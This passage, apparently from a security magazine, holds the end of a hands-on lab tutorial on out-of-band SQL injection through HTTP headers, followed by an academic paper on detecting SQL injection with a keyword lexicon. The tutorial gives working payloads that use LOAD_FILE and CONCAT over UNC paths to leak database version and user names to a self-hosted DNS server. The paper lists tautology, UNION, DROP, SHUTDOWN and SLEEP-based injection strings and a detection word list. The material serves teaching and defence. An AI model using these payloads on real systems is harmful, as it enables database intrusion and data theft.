To add our zone to the file, we should add the following to the file (please change the references to the domain
[Link] for the domain you have purchased):

90
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

zone "[Link]" {
type master;
file "/etc/bind/zones/[Link]";
};

After the changes, the [Link] file should look like this:

You can use the named-checkconf command to check if the [Link] and [Link] files are correct after
the changes. If no errors are displayed, then the changes in the configuration files are fine:

Next, we have to create the zone file (database) for the domain purchased in namecheap. In my case, it is [Link].
Inside of the directory /etc/bind, create a directory named zones. Inside of the zones directory, create a file named
<yourdomain>.[Link]. In my case, it will be [Link]:

Zone files (text files that are the database for a domain) have a specific way to structure its content. The formal specification
for zone files can be found in RFC 1034 and RFC 1035. In our case, let’s do an informal introduction to get you started. Each
zone file defines what we call a DNS zone. A DNS zone is just a name to refer to the database (zone text file) that contains all
the records for a specific domain. At a high level, zone files have basically two kinds of data:

• Variables (directives)

• DNS Records

Variables (directives) start with the dollar ($) sign and records start just with letters. Our zone file will start with the
$ORIGIN variable. The $ORIGIN is followed by the domain name we purchased in namecheap ended with a dot (.):

91
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

$ORIGIN [Link].

Why does the domain end with a dot? Because in the zone file, hostnames that end with a dot are considered to be fully
qualified domain names (FQDN). And what is the difference between a FQDN and other hostnames? In the zone file, the
difference is that if we do not end the hostname with a dot(.), the value of the $ORIGIN directive will be appended at the
end of the hostname of any DNS record. Although we are going to see an example in just a moment, if we have an A record
like this:

ns1 IN A [Link].xx2

as ns1 does not end with a dot (.) the value of the $ORIGIN directive is appended. Therefore, the record:

ns1 IN A [Link].xx2

becomes:

[Link]. IN A [Link].xx2

After the $ORIGIN directive comes the $TTL directive. The $TTL (Time To Live) directive indicates the maximum duration
a record can be kept before it expires. This way we can force resolvers (caching name servers) to update their cache every x
seconds. The minimum recommended value to use is one day, which translates to:

60 seconds in 1-minute x 60 minutes in an hour x 24 hours a day = 86400 seconds in a day. Therefore, the value we will use
is:

$TTL 86400

Then it comes the most important entry in the file. The DNS SOA (Start Of Authority) record. This record is a little complex
so let’s go step by step. The SOA record starts with the name of the zone, but usually you will see the @ symbol used
instead. What does the @ symbol mean? The @ symbol is a shortcut to the $ORIGIN directive value. So each time you put
an @ symbol, the @ symbol will be replaced with the $ORIGIN directive value. After the @ symbol hit the tab key:

92
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

Next comes the class. The class with its value is IN (which means Internet). After the IN, hit the tab key and type the word
SOA. Again after the SOA word hit the tab key again and type the FQDN (remember it has to end with a dot) of the name
server. In our case the master zone name server will be:

[Link]

So far, the zone file looks like this:

Next you have to indicate an email address account. This address is known as the administrative email address for the zone.
In our case, that email address will not exist. By default, in most cases the address used has the following format:

hostmaster@<domainpurchased>.<ext>

In my case, it will be:

hostmaster@[Link]

However, in the zone file, you do not use the @ symbol as, if you remember, it gets substituted by the value of the $ORIGIN
directive. Therefore, instead of the @ symbol, we use a dot. Then the email becomes:

[Link].

Note that the email ends with a dot (.). Next, hit the tab key and type an open parenthesis symbol and click enter. The zone
file so far should look like this:

Hit the tab key as you get behind the SOA keyword. Here we are going to introduce some values, the first one is called the
serial number. The serial number can be a number between 0 and [Link]. But as a convention we will use the serial
number with the following format yyyymmddvv:

• yyyy => indicates the year

• mm => indicates the month

• dd => indicates the day

• vv => indicates the revision

93
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

In my case, I will use 2020072201. After the number, hit the tab key and put a comment to help you remember what this
number is for. Comments start with the ; symbol. The zone file should look like this:

The next numbers we have to set are not important to us as we have just one nameserver. But we have to define them. The
next one is called the refresh value. The refresh value indicates the duration time that the secondary (slave) name server
(ns2) will wait to check if the master name server (ns1) has been modified or not. It’s value usually is less than 24 hours.
Let’s set it, for example, to six hours:

60 seconds in 1-minute x 60 minutes in an hour x 6 hours = 21600 seconds in 6 hours:

The next value is the retry value. In case the connection with the master name server (ns1) fails, the retry value indicates the
duration the slave (secondary) name server (ns2) will wait until it will retry to connect with the master name server (ns1).
Its value usually goes from 10 minutes to one hour. In this case, I set it to one hour:

60 seconds in 1-minute x 60 minutes in an hour = 3600 seconds in 1 hour:

Next comes the expire value. The expire value indicates the maximum duration time the slave (secondary) name server
(ns2) will try to contact the primary (master) name server (ns1). After this time, the secondary name server (ns2) will stop
responding. In this case, I set it to seven days:

60 seconds in 1-minute x 60 minutes in an hour x 24 hours in a day x 7 days = 604800 seconds in 7 days:

94
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

The final value the SOA record needs is the negative response value. When a resolver (caching name server) requests to
resolve a hostname and the authoritative-only name server (ns1) cannot resolve it because it is not in its database (zone
file), it will receive an nxdomain error. Then the resolver will return this value for the time indicated in the negative
response value. As this is the last value, after the value, we enter the closing parenthesis symbol. The complete SOA record
looks like this:

After the SOA record, comes the NS (Name server records). The NS record states which servers are the authoritative-only
name servers for this zone (domain). This record is much easier to set up than the SOA record. The record structure goes as
follows:

<fqdn> <class> NS <fqdn of the name server>

For example, for the primary name server (ns1) will be:

@ IN NS [Link].

Note the dot at the end. Remember FQDN in the zone file ends with a dot. Also, as you may remember, the @ symbol will
be replaced with the value of the $ORIGIN directive. We will need two NS records: one for the primary (ns1) and another
for the secondary (ns2) name servers:

@ IN NS [Link].

@ IN NS [Link].

So far, the zone file will look like this:

95
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

Finally, the last records we are going to configure are A records. A (Address) records associate an IP with a domain name.
Its syntax is practically the same as the NS records but, instead of NS you put an A:

<name or fqdn> <class> A <IPv4 address>

The IP address we will use is the address of the droplet (server). The three records we need to add are:

•@ IN A [Link].xx2

• ns1 IN A [Link].xx2

• ns2 IN A [Link].xx2

Note that as ns1 and ns2 do not end with a dot, the value of $ORIGIN directive will be appended to them and they will
become:

• [Link] IN A [Link].xx2

• [Link] IN A [Link].xx2

The complete zone file looks as follows:

After saving the zone file, you can use the command named-checkzone to check the file. Its syntax is:

sudo named-checkzone <zonename> <zonefile>

The zone name is the one you defined in the [Link] and the zone file the one you just created. In my case, the
command is:

sudo named-checkzone [Link] [Link]

If there are no typos in the zone, you should see an OK:

96
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

I will leave the zone file configuration file in the github repo associated with this article so you can use it as a reference.
Once all changes are done and OK, restart the named and the bind9 services and check its status to verify they are running:

If you make it this far, congratulations. It’s been a long trip together. Just one more step, I promise. Now that we have
configured the droplet (server) as a name server, we have to edit the configuration in namecheap to our name server
(Digital Ocean droplet) instead of the namecheap name servers. To do so, go back to the configuration page of the domain
and click on the Advanced DNS option:

Then scroll all the way to the bottom. In the PERSONAL DNS SERVER option, click on ADD NAMESERVER:

97
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

In the dialog box:

• select ns1

• and type the IP of the Digital Ocean droplet

And then click on DONE:

Repeat the process and add the secondary name server:

• ns2

• IP of your Digital Ocean droplet

98
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

Then click the SEARCH button to verify that the name servers have been added correctly:

Once our name servers are added. Go back to the Domain options and in the NAMESERVER options change Namecheap
BasicDNS to Custom DNS:

Enter the FQDN of the servers. In my case:

• [Link]

• [Link]

And click the green tick to save the changes:

99
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

After saving the changes, namecheap will inform us that the changes can take up 48 hours to take effect, but in my
experience the changes are instantaneous:

Let’s try if it works. Go back to your Digital Ocean droplet. We are going to use the tcpdump program to capture packets in
port 53. To do so, run tcpdump like this:

sudo tcpdump -n port 53

Now let’s do some DNS queries using, for example, nslookup and dig. As a resolver, we are going to use the Google DNS
resolver ([Link]) because it is a reliable resolver. The command you have to issue in Windows to a DNS query using the
Google resolver ([Link]) is:

100
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

And as you can see it gives you back the IP of your Digital Ocean droplet. In Linux, you can do the same thing using dig:

And if you go back to your Digital Ocean droplet (name server), you will see that the DNS queries are hitting your droplet:

Out-Of-Band DNS Exploitation – Data Exfiltration

Now that we have our authoritative-only name server up and running. Let’s use it as an out-of-bound channel for
exfiltrating the data of SQL injection attacks. If you remember from the beginning, what we are going to do is:

101
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

The external service in our case is our name server. With MariaDB, this exfiltration works in Windows environments. Let’s
start our Windows 10 machine in VirtualBox (make sure the machine is in NatNetwork):

If it is not already started, start Kali Linux too (make sure Kali is in NatNetwork too):

Log into the Windows 10 vm using the credentials you will find in the description section of VirtualBox:

102
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

Open a command prompt:

And use the ipconfig command to get the IP of the virtual machine:

Then go to Kali Linux and use Firefox to navigate to the IP of the Windows machine. In my case:

103
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

[Link]

You will see our familiar application:

We have already seen how to exfiltrate data using the file system as an out-of-bounds channel. Here the SQL injection is the
same, but the method we are going to use is different. In Windows systems, Universal Naming Convention (UNC) paths are
used to access network resources. A UNC path has the following format:

• A server or host name, which is prefaced by \\. The server name can be a NetBIOS machine name or an IP/FQDN
address (IPv4 as well as v6 are supported).

• A share name, which is separated from the host name by \. Together, the server and share name make up the
volume.

As you may have noticed, if as a UNC path you use a FQDN it will be resolved using the DNS protocol. And that is what we
are going to use to our advantage. We are going to inject a SQL query with a UNC path to force MariaDB to resolve it using
the DNS protocol. Then we will connect to our Digital Ocean droplet and see the results of the tcpdump capture:

104
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

Go to your Digital Ocean droplet and execute tcpdump as we did before:

sudo tcpdump -n port 53

Next, go to your Kali machine and as we did in the file system example, run and configure Burp Suite. Request the page in
the browser. And then, as we did in the file system example, send the request to the Repeater tool:

Now test the same injection as we did in the file system example:

',256) UNION SELECT 1,2,3,4 INTO OUTFILE '/var/www/html/[Link]' -- \

But as we are in a Windows machine, the path /var/www/html does not exist. Instead use the path C:\\xampp\\htdocs.
The SQL code to be injected should look like this:

',256) UNION SELECT 1,2,3,4 INTO OUTFILE 'C:\\xampp\\htdocs\\[Link]' -- \

Paste it into the User-Agent HTTP Header and click the send button:

105
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

And if you navigate to

[Link]

you will see the file has been created:

Now that we have proved we have the same vulnerability in Windows, instead of the file system, let’s use DNS as the
out-of-band channel. To force the database server to do this, we need to use the MySQL LOAD_FILE function. The load file
allows us to read a file from the system or pass a UNC path to the network resource where the file is located. As we know,
resolvers like Google DNS ([Link]) can keep in their cache the resolution the time we specified in the $TTL variable.
Therefore, we are going to ask for nonexistent subdomains to always force the resolver to contact the Authoritative-Only
name server. For example, let’s ask for the following nonexistent resource:

\\\\[Link]\\test'

Why do we use four backward slashes? Because the backward slash is the escape character in strings, therefore to put one
backward slash, we actually have to type two. In our zone file (database), we have no A record for whatever therefore, an
NXDOMAIN error response will be sent back from the authoritative-only name server. So if we execute the following query:

',256) UNION SELECT LOAD_FILE('\\\\[Link]\\test'),2,3,4 -- \

Paste the query into the Repeater and click on the Send button:

106
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

You will see that MariaDB uses a DNS query to resolve the UNC path and, as the resolver doesn’t have that response
cached, it hits our server (droplet/Authoritative-Only Name Server):

But how can we actually do something interesting with this? Let’s introduce the CONCAT function of MySQL. The CONCAT
function allows you to concatenate strings (text) in MySQL. For example, if we have:

CONCAT('Hello ', 'friend')

it will join both strings in the string:

'Hello friend'

Let’s see an example of this. The VERSION function of MySQL shows the database version being used. So we can use
CONCAT like this:

CONCAT('\\\\' ,VERSION(), '.[Link]/test')

And as you might realize, if we execute the following SQL code:

',256) UNION SELECT LOAD_FILE(CONCAT('\\\\',VERSION(),'.[Link]\\test')),2,3,4 -- \

Paste the query in the repeater tool and click the Send button:

107
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

And as you can see the query hits the server:

And we have gotten the MariaDB Version. We even run complete queries inside of the CONCAT function like this:

CONCAT('\\\\',(SELECT user FROM [Link] LIMIT 1),'.[Link]\\test')

So if we execute the following code:

',256) UNION SELECT LOAD_FILE(CONCAT('\\\\',(SELECT user FROM [Link] LIMIT


1),'.[Link]\\test')),2,3,4 -- \

Paste it into the Repeater tool and click the Send button:

And the results will hit the server (droplet):

108
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

The last thing we are going to see is that if you run tcpdump with the -w option you will be able to save all the captures in a
pcap file that you will later be able to analyze in tools like Wireshark:

However, if you use this option, you will see no output. But if you run a few queries and then hit Ctrl+C key to cancel the
capture, you will see that a file is generated with the capture:

You can recover the file using the secure copy (scp) command:

scp -i .\.ssh\nsadmin nsadmin@[Link].xx2:/home/nsadmin/[Link] .

And then watch it in wireshark:

Please, remember to turn off your server when you do not use it:

109
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

Or if you are not going to use it anymore, you can destroy it.

Closing

Thank you so much for the time you spent reading the article.

References

Websites:

• File Path Formats

• SQL Injection Hall Of Shame

• Apache Maximum HTTP Header Size

• NotSoSecure – OOB Exploitation Cheatsheet

• Osanda Malith – MySQL Out-of-Band Hacking

• OWASP WSTG-INPV-05 Testing for SQL Injection

• How To Configure Bind as an Authoritative-Only DNS Server on Ubuntu 14.04

Courses:

• [Link]

To learn more

Courses:

• [Link] - This course is a great introduction to


name servers.

110
Exploiting Out-Of-Band (OOB) SQL injections in HTTP Headers

To learn more

Courses:

• [Link] - This course can help you make your


VPS more secure

Books:

• SQL Injections - Attacks and Defense 2nd Edition - by Justin Clarke


A great reference for SQL injection attacks

• Real-World Bug Hunting – by Peter Yaworski


One of the best books not just to understand how web vulnerabilities works, but see real world
examples in which those vulnerabilities were exploited

• The Tangled Web – Michal Zalewski


One of the best books I found to understand how the web works

Websites:

• Portswigger Web Security Academy – SQL injection


A great tutorial to not only understand in great detail what SQL injection attacks are, but how
you can take advantage of them.

111
A DETECTION AND
PREVENTION
TECHNIQUE ON
SQL INJECTION
ATTACKS
MOHAMMED BOULMALF
Professor at International University of Rabat

113
ANASS SEBBAR
I am motivated, and passionate about IT security and

using Machine Learning to Mitigate Attacks on SDN

(Software defined Networking) architecture. Areas of

interest:

•Security: Cyber Attacks, SDN Modeling, Cyber

Attacks Prediction

•Artificial Intelligence: Using Machine learning to

Predict cyber-attacks, Building new dataset

114
A Detection and Prevention Technique on SQL Injection Attacks

With the web advancements rapidly developing, a majority of individuals make their transactions on the web, for example,
searching through data, banking, shopping, managing, overseeing and controlling business exchanges, etc. Web
applications have become part of our day by day lives and activities. There are many dangers pertinent to web applications.
Presently, the more the quantity of vulnerabilities are diminished, the more the quantity of threats are incremented.
Structured Query Language Injection Attack (SQLIA) is one of the incredible dangers of web application threats. Lack of
input validation vulnerabilities were the cause of SQL injection attacks on the web. SQLIA is a malicious activity that takes
a negated SQL statement to misuse data-driven applications. This vulnerability allows an attacker to use crafted input to
disclose the application’s interaction with back-end databases. Therefore, the attacker can gain access to the database by
inserting, modifying or deleting critical information without legitimate approval. The paper presents an approach that
detects a query token with a reserved words-based lexicon to detect SQLIA. The approach consists of two highlights: the
first one creates the lexicon and the second step tokenizes the input query statement and each string token was detected by
a predefined words lexicon to prevent SQLIA. In this paper, detection and prevention technologies of SQL injection attacks
are experimented and the results are satisfactory.

I. INTRODUCTION

A web application is a significant wellspring of data for any organization to get basic information and business processes
broadly utilized in different applications. With the ubiquity of web applications, there are numerous security issues and
vulnerabilities in the web world. SQL injection shows up as software vulnerabilities in web applications brought about by
the absence of information approval. The information approval weakness is where user input is utilized in the product
without affirming its legitimacy. SQL stands for Structured Query Language, which is the standard programming language
for creating social databases. It is an order and control language utilized in the making, altering, erasing, and recovering the
information and structures that involve the social database framework. SQL injection is one of the most serious dangers to
the security of backend databases from driven applications.

SQL injection is an assault method with negated SQL articulations used to abuse how site pages communicate with
back-end databases. It can take a shot at defenseless website pages that utilize a backend database like MySQL, Oracle or
MSSQL. Attackers can give directions (made SQL explanations) to a database utilizing input fields on a site. Figure 1 shows
the procedure of SQLIA. These directions control a database server behind a web application to get self-assertive
information from the application, meddle with its rationale, or execute directions on the database server itself. Along these
lines, the impacts of SQLIA are side step verification, extricating information, loss of privacy and respectability.

SQL injection is strikingly like a XSS. The essential contrast being that an XSS attack is executed at the web front end, but
the SQL assault is executed at the server. The issue in the two cases is that client input was never approved appropriately.

There are an assortment of methods accessible to identify SQLIA. The most favored are Web Framework, Static Analysis,
Dynamic Analysis, consolidated Static and Dynamic Analysis and Machine Learning Technique. Web Framework gives
separate ways to deal with channel exceptional characters, however, different assaults are not recognized. Static Analysis
checks the information parameter type, yet it neglects to identify assaults with the right info type. The Dynamic Analysis
method is equipped for checking vulnerabilities of web applications, however, it can't distinguish a wide range of SQLIA.
115
A Detection and Prevention Technique on SQL Injection Attacks

Joined Static and Dynamic Analysis incorporates the advantage of both, yet this technique is unpredictable. AI strategy can
recognize a wide range of assaults, however, it results in a number of bogus positives and negatives.

SQLIA can be presented with the following segment of vulnerable Java code:

String uname= [Link](“uname”);

String pword= [Link](“password”);

String sql_query=SELECT name FROM member

WHERE username=' ''+uname+'' ' 'AND password=

''+pword+'' ' '';

Statement stmt=[Link]( );

ResultSet rset=stmt. executeQuery(sql_query);

In this code, string variable sql_query is used for keeping the cunning SQL query statement that is being executed in the
database.

Figure 1. How SQL Injection Attack Works

II. RELATED WORKS

[Link] et al. [1][5] proposed a model that uses a tokenization technique to detect SQL injection attacks, so a query
containing Alias, Instances and Set operations can also be blocked at the entry point. It checks whether the generated query
is based on the user’s input as its intended result, and compares the results by applying a tokenization technique on an
original query and input query. If the results are the same, there is no injection, otherwise it is present. I. Balasundaram et

116
A Detection and Prevention Technique on SQL Injection Attacks

al. [2] proposed a technique for SQLIA using ASCII based string matching. This technique is used to check the user input
field with static and dynamic analysis to detect and prevent SQLIA.

M. Kumar et al. [4] and William G.J. Halfond et al, [Link]ĝit, M. Arnavutoglu [14], discussed the detection and prevention
techniques of SQL injection attacks and analyze existing techniques against such attacks. B.J.S. Kumar & P.P. Anaswara
[15] experimented on detection and prevention of SQL injection attack. D. Kilaru [12] observed how SQL injection occurs
and how to update a web app with SQL injection vulnerability. R. M. Nadeem et al. [13] proposed a system based on a
dynamic analyzer model. This model received the user request and analyzed to check that the request is for pages without
vulnerabilities (P’) and with vulnerabilities (P), with the help of a knowledge base. [Link] and [Link] [16]
described static and runtime SQL query analysis, called hybrid techniques, which is to create a defense strategy that can
detect and prevent various types of SQLIA.

III. TYPES OF SQLIA

In web-based applications, most of the work is to access data from databases. If the user input data is not properly
performed or validated, users can access information they were not supposed to get access to. The following techniques are
types of SQLIA.

A. Tautologies

In a tautology based attack, the general goal of an attacker is to input crafted SQL tokens that cause the conditional query
statement to be evaluated always true. An attacker undertakes an input field with vulnerability utilized in the query’s
WHERE predicated and transforms the condition into a tautology that is always true. This predicate logic is assessed as the
database examines each tuple in the table. If the predicate logic at WHERE clause is evaluated as a tautology, the database
matches and returns all tuples in the table rather than associating only one tuple, as it would normally do in the sense of
injections. This type of attack proceeds to bypass authentication and extract data [4, 7, and 14].

SELECT name FROM member WHERE


Smith
username='Smith' AND password= ' ' OR
' OR 'a'='a
'a'= 'a'

SELECT name FROM member WHERE


' OR 'a'='a
username =' ' OR 'a'='a' AND password=' '
' OR 'a'='a
OR 'a'='a'
SELECT name FROM member WHERE
'OR 'a'='a'
username =' ' OR 'a'='a' - - ' AND
--
password=' '

This query statement is always true because it has been added by the tautology statement ( 'a'='a' ). Double dash “--”
instructs the SQL parser that the rest of the statement is a comment and should not be executed.

117
A Detection and Prevention Technique on SQL Injection Attacks

B. Malformed Queries

In this approach, when the attacker abuses an illegitimate or deficient SQL token, the rejected error message comes back
from the database including helpful debugging information. The error message causes assailants to precisely distinguish
which parameters are vulnerable in an application and the total outline of the underlying database. This situation was
misused by the assailant's crafted SQL tokens or garbage input that causes syntax mistakes, type jumbles or logical errors in
the database. To recognize injectable parameters, syntax errors can be utilized. Type errors can be applied to conclude the
information kinds of specific attributes or to remove information.

C. Union Query

In this technique, attackers injected invalid statements that are joined with the valid query by the utilizing UNION
keyword. Attackers misuse a query statement of the structure "UNION <injected query>" as far as possible at the end of a
legitimate statement. It makes the application return information from the results of the original query and more
information from another table. Then, the statement written with the double dash “- -” will be commented out [11].

SELECT name FROM member WHERE username=''UNION SELECT password FROM member WHERE
username='admin' -- AND password=''

In this query, the original query returns a null set whereas the exploited query statement returns data from the same table.

D. Piggy-backed Queries

In the piggy-backed query-based attack, an attacker attempts to add extra queries into the first inquiry string. It abuses the
database by the query delimiter, for example, ";" to add additional query to the first query. In the event that the attack is
fruitful, the database gets and executes a query statement that contains numerous particular inquiries. The first query is the
original legitimate query, which is to execute the database, whereas the second query is a malicious query to misuse the
database [4].

SELECT name FROM member WHERE username='Smith' AND password=''; DROP table users - -

The two queries were separated by the delimiter, “;”, and both were executed. Different sorts of queries can be executed
with this technique, for example, addition of new clients into the database or execution of stored procedures. It is worth
noting that numerous databases don't require a special character to isolate distinct queries, so basically, examining for an
exceptional or special character isn't an effective way to prevent this type of attack.

E. Inference

In inference-based techniques, attackers make queries that cause an application or database to act contrastingly based on
the consequences of the query. There are two well-known assault strategies that depend on inference: blind injection and
timing attacks.
118
A Detection and Prevention Technique on SQL Injection Attacks

In blind injection, developers omit detailed information of error messages. These messages assist attackers to exploit the
databases. In this case, attackers are trying to exploit the database with the vulnerable query statement that has a boolean
result. Then they analyze differences based on the application’s responses.

In timing attacks, attackers collect data from the database by detecting timing delays in the database’s responses. It
depends on the database pausing for a specified time limit, then returning the information that is indicating a successful
query executing [8].

SELECT name FROM member WHERE username= IF(((SELECT UPPER(MID(password,1,1)) FROM member
WHERE username='admin') ='A'), SLEEP(5),1)

F. Stored Procedure

In this approach, stored procedures are victims for attackers to exploit databases. Stored procedures are codes that are
stored in the database and executed directly by the database engine. To activate SQLIA, attackers can create injected text to
exploit this stored procedure as

SELECT name FROM member WHERE username=''; SHUTDOWN; - - password=''

IV. PREVENTION TECHNIQUES

A. Prepared Statement

One of the best ways to prevent SQL injection is to use a prepared statement. The problem of SQL injection is that the user’s
input is used as part of the SQL statement. By using a prepared statement, the SQL statement uses a parameter to insert a
value into the database. Instead of inserting the values directly into the statement, this prevents the backend database from
running invalidated SQL queries that are unsafe and harmful to the database.

B. Using Stored Procedures

Stored Procedures adds an additional security layer to the database other than utilizing Prepared [Link]
application takes input as data to be worked on instead of SQL code to be executed. The distinction between prepared
statements and stored procedures is that the SQL code for a stored procedure is composed and stored in the database
server, and then called from the web application.

If user access to the database is allowed at any point by means of stored procedure strategies, permitted access for a user to
legitimately get to data doesn’t not need to be explicitly granted on any database table. Along these lines, the database is
still safe.

119
A Detection and Prevention Technique on SQL Injection Attacks

B. Validating User Input

In validating, user supplied input should be used after confirming its validity. So, input validation is first to ensure the user
supplied input value is of the accepted type, length, format, etc. Only the input that passed the validation process prevents
data from information sources and the database.

C. Limiting Privileges

Limiting privileges is the concept of restricting resources from a user’s access. When you do not need to access the
important part of the database, don’t connect to your database using an administrator account because the attackers might
have access to the entire source of the system. Therefore, to identify the authenticated user, an account with limited
privileges should be used to limit the extent of harm in the occurrence of SQL Injection.

D. Encrypted Data

Unencrypted data stored in a database can be stolen if missing authorization or invalidated input allows users to read the
data. If attackers try to gain access to the database and its table, the encrypted data value will prevent an attacker from
reading sensitive data and any further changes to databases would have no effect.

V. PROPOSED APPROACH

There are many different techniques for detecting the SQL injection attacks. The proposed technique is based on sanitizing
the query statement. This approach consists of two steps: the first one is tokenizing the user inputted query. The
tokenization process is made by detecting a white space, double dashes (--), sharp sign (#) and all strings before each
symbol are tokens. In the second step, after the query is tokenized, each string token is detected with the contents of a
predefined lexicon. The contents of the lexicon are mostly reserved words (commands) and some logical operators. The
contents of the lexicon are collected from most of the injected commands or words in SQL injection attacks. Table I
describes some of the lexicon’s contents. There are 20 words in it. When the input query statement enters, whether to
detect injection or not. During execution, the inputted data are matched with the corresponding lexicon’s contents to check
for validity. If they are matched to any other words, a SQL injection attack is attempted. If not, there is no injection.

120
A Detection and Prevention Technique on SQL Injection Attacks

TABLE I. Sample Contents Of Lexicon

No Injected command
1 alter
2 concat
3 drop
4 delete
5 execute
6 sleep
7 shutdown
8 union
9 or
10 if

Figure 1. Flow of Proposed Approach

121
A Detection and Prevention Technique on SQL Injection Attacks

Algorithm: Detection

begin
Input: SQL query statement
file= read contents in lexicon

N=Tokenize the query statement

flag=false

while (!eof(file))

flag= false;

for (int i=0; i< N; i++)

if (token[i]== word in lexicon)


flag=true;
}

if (flag) print “Injection detected”; else print “No injection”;


end

Figure 2. Tokening result without injection

Figure [Link] result with injection

122
A Detection and Prevention Technique on SQL Injection Attacks

Figure 4. Tokening result with injection

The main concept of this approach is to detect SQLIA by searching each token in a predefined word of the lexicon which
causes the WHERE condition to always be true.

VI. EXPERIMENT

In this section, the system performed some SQL injection queries on vulnerable query statements. The system tested 10
SQL query statements. These are three normal statements and seven injection statements. The result outcomes described in
Table IV. The false positive and true negative scores are 0 and 7 respectively and accuracy is very good. The following table,
TABLE V presents the outcomes of analysis which have been evaluated. Therefore, the proposed system is done for
successful prevention from various malicious queries for injections.

String uname= “alice”;


String pass= “alice123”;
String query= ''SELECT * FROM member WHERE username=' ''+uname+' '' AND password= '
''+pass+'' ' '';

uname= “alice”;
pass= “ ' or '1=1 ”;

String query_bad= ''SELECT * FROM member WHERE username=' ''+uname+' '' AND password= '
''+pass+ '' ' '';

Display Query Statement

Normal:
select * from member where username= 'alice' and
password= 'alice123'

Injection:
select * from member where username= 'alice' and
password= '' or '1=1'

123
A Detection and Prevention Technique on SQL Injection Attacks

The normal query statement is no problem, as the proposed system will get data from this member table that satisfies the
predicate. However, the approach detects the injection attack with crafted SQL statements.

String uname= "'; DELETE FROM member WHERE 1 or


username = '";
String query= ''SELECT * FROM member WHERE
username=' ''+uname+'' ';

Display Query Statement

Injection: SELECT * FROM member WHERE


username=''; DELETE FROM member WHERE 1 or
username = ' '

When the system runs this query, the injected delete statement would completely empty the member table. This system also
detects the statement before it is executed

TABLE III. SQL Query Statement

input SQL statement


smith
SELECT * FROM member WHERE username ='smith' AND password ='123'
123
' or '1=1
SELECT * FROM member WHERE username =' ' or '1=1' AND password =' ' or '1=1'
' or '1=1
smith
Select * from member where username ='smith' and password =' ' or 'a '=' a'
' or 'a'='a
' or ''='
SELECT * FROM member WHERE username =' ' or ' '=' ' AND password =' ' or ' '=' '
' or ''='
smith
SELECT * FROM member WHERE username ='smith' AND password =' ' or ' '=' '
' or ''='
' or '1=1'--
SELECT * FROM member WHERE username ='' or '1=1' --' AND password ='123'
123

"'; DELETE FROM


SELECT * FROM member WHEREusername=' '; DELETE FROM member WHERE 1 or
member WHERE 1 or
username = ' '
username = '";

''; SHUTDOWN; - - SELECT name FROM member WHERE username=''; SHUTDOWN; - - password=''

Smith SELECT name FROM member WHERE username='Smith' AND password=''; DROP table
''; DROP table users - - users - -
john
SELECT * FROM member WHERE username = 'john' AND password ='john123'
john123
blake
SELECT * FROM member WHERE username = 'blake' AND password ='blake123'
blake123

124
A Detection and Prevention Technique on SQL Injection Attacks

TABLE IV. Outcomes of Query Statements

Prediction
Total
normal injection

normal 3 0 3
Actual
injection 0 7 7

3 7 10

(1)

TABLE V. Experiment Outcomes

SQLIA Techniques Proposed approach’s outcomes

Tautologies Successful prevention

Malformed queries Successful prevention

Union queries Successful prevention

Piggy-back queries Successful prevention

Inference Successful prevention

Stored procedure Successful prevention

VII. CONCLUSION

SQLIA is one of the dominant threats to web applications. Web applications need to protect their database from varying
threats in order to provide confidentiality and integrity. In SQLIA, intruders allow attacking with a crafted query statement
through a web input form into the system and then can steal identities, gain access to sensitive information, and tamper
with existing data, which can cause many disastrous effects. This paper is presented on the techniques of SQLIA and
prevention approaches. The proposed approach is used for the detection and prevention of SQL injection and also suitable
for the outcomes.

125
A Detection and Prevention Technique on SQL Injection Attacks

REFERENCES

1. N. Lambert, K.S. Lin; "Use of Query tokenization to detect and prevent SQLinjection attacks",
Proceedings of the 3rd International Conference on Computer Science and Information
Technology (ICCSIT), Chengdu, China:IEEE (2010). pp: 438-440, 2010.

2. I. Balasundaram, E. Ramaraj, “An Efficient Technique for Detection and Prevention of SQL
Injection Attack using ASCII Based String Matching”, International Conference on
Communication Technology and System Design, Prodedia Engineering, pp. 183-190, 2012.

3. Dr. R. Shettar, A. Ghosh, A. Mohan, A. Pramod, C. Raikar, “ SQL Injection Attacks and Defensive
Techniques”, International Journal of Computer Technology & Applications, vol. 5, no. 2, pp.
699-703, March-April 2014.

4. M. Kumar, L. Indu, “Detection and Prevention of SQL Injection Attack”, International Journal of
Computer Science and Information Technologies, vol. 5, no. 1, pp. 374-377, 2014.

5. A. Kumar, S. Bhatt, “Use of Query Tokenization to Detect and Prevent SQL Injection Attacks”,
International Journal of Science Technology & Engineering, vol. 2, issue. 01, pp. 97-103, July 2015.

6. RubidhaDevi.D, R. Venkatesan, Raghuraman.K, “A Study on SQL Injection Techniques”,


International Journal of Pharmacy & Technology, vol. 8, issue. 4, pp. 22405-22415, December
2016.

7. A. Gupta, Dr. S. K. Yadav, “An Approach for Preventing SQL Injection Attack on Web Application”,
International Journal of Computer Science and Mobile Computing, vol.5, issue. 6, pp. 01-10, June
2016.

8. M. Ŝtamper, “Inferential SQL Injection Attacks”, International Journal of Network Security, vol 18,
no. 2, pp. 316-325, Mar 2016.

9. Sonakshi, R, Kumar, G. Gopal, “Case Study of SQL Injection Attacks”, International Journal of
Engineering Science & Research Technology, pp. 176-189, July 2016.

10. Z. S. Alwan, M. F. Younis, “Detection and Prevention of SQL Injection Attack: A Survey”,
International Journal of Computer Science and Mobile Computing, vol. 6, issue. 8, pp. 5-17, August
2017.

126
A Detection and Prevention Technique on SQL Injection Attacks

REFERENCES

